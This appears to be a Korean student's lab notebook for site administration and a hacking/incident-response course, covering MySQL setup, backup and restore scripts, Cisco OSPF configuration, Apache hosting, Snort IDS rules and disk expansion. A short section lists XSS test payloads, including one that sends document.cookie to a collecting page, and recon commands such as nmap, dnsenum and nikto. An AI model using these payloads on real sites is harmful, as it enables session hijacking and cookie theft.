기술문서
목적 : 사이트 관리에 필요한 필수 기술들을 정리하는 페이지입니다.


- 데이터베이스[테이블 만들기] -

DROP TABLE IF EXISTS `note`;
CREATE TABLE IF NOT EXISTS `note` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`part` varchar(50) NOT NULL COMMENT '과목',
`subject` varchar(50) NOT NULL COMMENT '제목',
`filename` varchar(50) NOT NULL COMMENT '파일명',
`reg_date` datetime NOT NULL COMMENT '등록날짜',
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT
CHARSET=utf8mb4 COMMENT='노트'; INSERT INTO `note` (`id`, `part`, `subject`, `filename`,`reg_date`) VALUES (1, '해킹과침해대응', '노트쓰는법', 'h20250305001.php','2025-03-05 00:00:00');

- 데이터베이스 -

show databases;
use v학번;
show tables;
create database [데이터베이스];
create table [테이블][컬럼][타입];

- 명령어 모음 -

blkid : nano /etc/fstab
열려 있는 포트 확인 : nmap -v -A 도메인
로그 확인 : tail -f 로그 파일
IP 설정 : nano /etc/netplan/50Tab -> sudo netplan apply
IP 허용 : nano /etc/hosts.allow
메일 허용 : nano /etc/mail/access(RELAY : 허용, REJECT : 거부)

특정 부분만 잘라내는 명령어 : cut [옵션] [파일명]
-f 필드(field) 지정(첫번째:IP) (기본 구분자는 탭)
-d 필드 구분자(delimiter) 지정 (예: , 또는 : 또는 스페이스바 등)
-c 문자 위치(character position) 지정
--complement 지정한 필드/문자를 제외하고 출력

도메인 정보 수집 : dnsenum 도메인
포트 open 여부 확인 : netstat -ant | grep 포트 번호
apache, php 버전 등 확인 : nikto -host 도메인


- 백업하는 법(95번) -

1. 192.168.0.155 접속 -> 192.168.0.100 접속
2. cd /backup -> ls -> cd 계정명 디렉토리/ -> ls
3. sz 계정명_2025(최신날짜)* -> 파일 : 바탕화면/backup
4. 압축 풀기 -> public_html 압축 푼 파일 처음부터 끝까지 압축(public_html.zip)
5. 192.168.0.95 접속 -> public_html.zip 끌고 와서 압축 풀기(/home/계정명/public_html)
6. public_html.zip 끌고 와서 압축 풀기(/home/계정명/public_html) -> unzip public_html.zip -> A
7. 계정명_2025(날짜).sql 끌고 오기
8. mysql 접속 -> mysql -u root -p
9. create database 데이터베이스명;
CREATE USER '계정명'@'localhost' IDENTIFIED BY '패스워드';
GRANT ALL PRIVILEGES ON 계정명.* TO '계정명'@'localhost';
flush privileges;
10. mysql -u 계정명 -p 계정명 < 계정명_2025(날짜).sql

- 라우터 한방 설정(OSPF) [R1] -

config t
hostname Hacker
interface FastEthernet0/0
ip address 100.100.100.254 255.255.255.0
no shutdown
exit
interface Serial1/0
ip address 1.1.1.1 255.255.255.252
no shutdown
exit
router ospf 1
network 100.100.100.0 0.0.0.255 area 0
network 1.1.1.0 0.0.0.3 area 0
router-id 1.1.1.1
exit
ip dhcp excluded-address 100.100.100.1 100.100.100.254
ip dhcp pool hacker
network 100.100.100.0 255.255.255.0
default-router 100.100.100.254
dns-server 125.246.95.152
lease 1 0 0
exit
- 라우터 한방 설정(OSPF) [R2] -

config t
hostname ST
interface FastEthernet0/0
ip address 125.246.95.254 255.255.255.0
no shutdown
exit
interface Serial1/0
ip address 1.1.1.2 255.255.255.252
no shutdown
exit
router ospf 1
network 125.246.95.0 0.0.0.255 area 0
network 1.1.1.0 0.0.0.3 area 0
router-id 2.2.2.2
exit
ip dhcp excluded-address 125.246.95.152 125.246.95.254
ip dhcp pool st
network 125.246.95.0 255.255.255.0
default-router 125.246.95.254
dns-server 125.246.95.152
lease 1 0 0
exit

- 가상 호스팅 -

가상 호스팅 하기 전 public_html/logs 안에 access.log, error.log 생성하기

cd /etc/apache2/sites-available
nano hosting.conf

DocumentRoot /home/디렉토리명/public_html
ServerName 접속할 도메인명
ServerAdmin 계정명@도메인
ErrorLog /home/디렉토리명/public_html/logs/error.log
CustomLog /home/디렉토리명/public_html/logs/access.log combined

a2dissite 000-default.conf
a2ensite 000-default.conf
systemctl restart apache2


- CSRF(Cross-Site Request Forgery) 공격 -

- 공격자가 사용자를 속여서 사용자의 권한으로 웹사이트에 원하지 않는 요청을 보내게 하는 공격
- 사용자가 로그인한 상태를 악용해서 공격자가 원하는 행동을 하게 만듦
- 로그인 - 시간, 횟수
- 토큰, 현재 비밀번호

- impossible.php -

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); #하나의 웹브라우저에 접속해서 비밀번호 바꾸려고 함

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input #현재 암호 넣으라고 함 -> 외부에서 뚫을 수 없음
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

- cookie 스크립트 -

<script>alert('test');</script>
<script>alert(document.cookie);</script>
<script>location.href='https://naver.com';</script>
<script>location.href='http://도메인';</script>
<script>location.href='http://도메인/cookie.php?cookie=aaa';</script>

- auto_restore.sh(95번) -

#!/bin/bash

### 설정 ###
SRC_DIR="/HDD1/계정명" # 백업 파일 원본 경로
WORK_DIR="/tmp/restore_work" # 복사/복원 작업 디렉토리

DB_USER="계정명" # MySQL 사용자
DB_PASS="비밀번호" # MySQL 비밀번호
DB_NAME="계정명" # 복구할 DB 이름
WEB_ROOT="/home/계정명/public_html" # 웹사이트 복구 경로

### 날짜 계산 ###
TODAY=$(date +"%Y%m%d")
YESTERDAY=$(date -d "yesterday" +"%Y%m%d")

### 파일명 정의 함수 ###
find_backup_files() {
for DATE in "$TODAY" "$YESTERDAY"; do
SQL_FILE=("${SRC_DIR}/${DB_USER}_${DATE}"*.sql)
TAR_FILE=("${SRC_DIR}/${DB_USER}_${DATE}"*.tgz)

SQL_RFILE="${SQL_FILE}"
TAR_RFILE="${TAR_FILE}"
echo "$TAR_FILE | $SQL_RFILE"
if [[ -f "$SQL_RFILE" && -f "$TAR_RFILE" ]]; then
echo "✅ 백업 파일 발견: $SQL_RFILE, $TAR_RFILE"
SELECTED_DATE="$DATE"
return 0
fi
done
return 1
}

### 파일 찾기 ###
echo " 오늘 또는 어제의 백업 파일을 찾는 중..."
if find_backup_files; then
echo " 선택된 날짜: $SELECTED_DATE"
else
echo "❌ 오늘과 어제 날짜의 백업 파일을 찾을 수 없습니다."
exit 1
fi

SQL_FILE=$SQL_RFILE
TAR_FILE=$TAR_RFILE

### 복사 단계 ###
mkdir -p "$WORK_DIR"
cp "$SQL_RFILE" "$WORK_DIR/" || { echo "❌ SQL 파일 복사 실패"; exit 1; }
cp "$TAR_RFILE" "$WORK_DIR/" || { echo "❌ 웹 파일 복사 실패"; exit 1; }
cd "$WORK_DIR"

### MySQL 복구 ###
echo " MySQL 복구 시작..."
sed -i 's/utf8mb4_0900_ai_ci/utf8mb4_general_ci/g' $SQL_FILE
mysql -u"$DB_USER" -p"$DB_PASS" -e "DROP DATABASE IF EXISTS \`$DB_NAME\`; CREATE DATABASE \`$DB_NAME\`;"
mysql -u"$DB_USER" -p"$DB_PASS" "$DB_NAME" < "$SQL_FILE"
if [ $? -ne 0 ]; then
echo "❌ MySQL 복구 실패"
exit 1
fi
echo "✅ MySQL 복구 완료"

### 웹 파일 복구 ###
echo " 웹 파일 복구 시작..."
TEMP_DIR=$(mktemp -d)
tar -xzf "$TAR_FILE" -C "$TEMP_DIR"

# 웹 파일 백업
BACKUP_NAME="${WEB_ROOT}_bak_$(date +%Y%m%d%H%M)"
cp -r "$WEB_ROOT" "$BACKUP_NAME"
echo " 기존 웹파일 백업: $BACKUP_NAME"

rsync -av --delete "$TEMP_DIR"/ "$WEB_ROOT"/
rm -rf "$TEMP_DIR"

cp -r $WEB_ROOT$WEB_ROOT"/"* "${WEB_ROOT}/" && rm -rf "${WEB_ROOT}/home"

chmod 711 /home/$DB_USER
chmod 755 $WEB_ROOT


echo "✅ 웹 파일 복구 완료"
echo " ${SELECTED_DATE} 백업 복구가 성공적으로 완료되었습니다."

- IDS(Snort) 기본 설정 -

- ESW1(Port Mirroring) -

config t
monitor session 1 source interface fastEthernet 1/1 - 2
monitor session 1 destination interface fastEthernet 1/3
end

- no monitor(Port Mirroring Off) -

config t
no monitor session 1

=> 위 네줄 다시 입력하면 Port Mirroring On

- 스노트 실행 -

경로 : C:\Snort\bin

snort.exe -W
snort.exe -c c:\snort\etc\snort.conf -l c:\snort\log -i 1
 -c 옵션 : snort 설정 파일 위치 지정 
  -l 옵션 : 로그 파일 저장 위치 지정 
-i 옵션 모니터링할 NIC 번호 지정
=> snort 실행(cmd창 계속 띄워놓기)

127.0.0.1/base/base..... Snort 웹브라우저 접속

- APMSETUP 설정 -

1. APMSETUP 접속
2. 오른쪽 하단 화살표 APMSETUP 아이콘 우클릭
3. 콘솔 접속(비밀번호는 알림창에 뜸)
4. show databases; -> use snort; -> truncate table event;
5. Snort 웹브라우저 새로고침

- IDS(Snort) rules 설정 -

1. Editplus\snort.conf(550행 rules) - 적용하고 싶은 rules 생성(사용할 것만 주석 풀어주기!)
ex) include C:\Snort\rules\http.rules
2. C:\Snort\rules - 파일 생성
ex) http.rules
3. rules 작성 : 각 형식에 맞는 rules 작성해주기
ex) alert tcp any any -> any 80 (msg:"HTTP Traffic Detected"; sid:50003;)

- 하드 디스크 용량 확장 -

sudo passwd root
su
fdisk -l
fdisk /dev/sdb - n, p, w
mkfs.ext4 /dev/sdb1
vgs(여유공간 확인)
pvcreate /dev/sdb1(y)
vgextend /dev/ubuntu-vg /dev/sdb1(y)
lvextend -L +50G /dev/ubuntu-vg/ubuntu-lv
resize2fs /dev/ubuntu-vg/ubuntu-lv
df -h

- elasticsearch 설치(7.x 버전) -

curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg

echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list

sudo apt update
sudo apt -y install elasticsearch
systemctl start elasticsearch
curl http://127.0.0.1:9200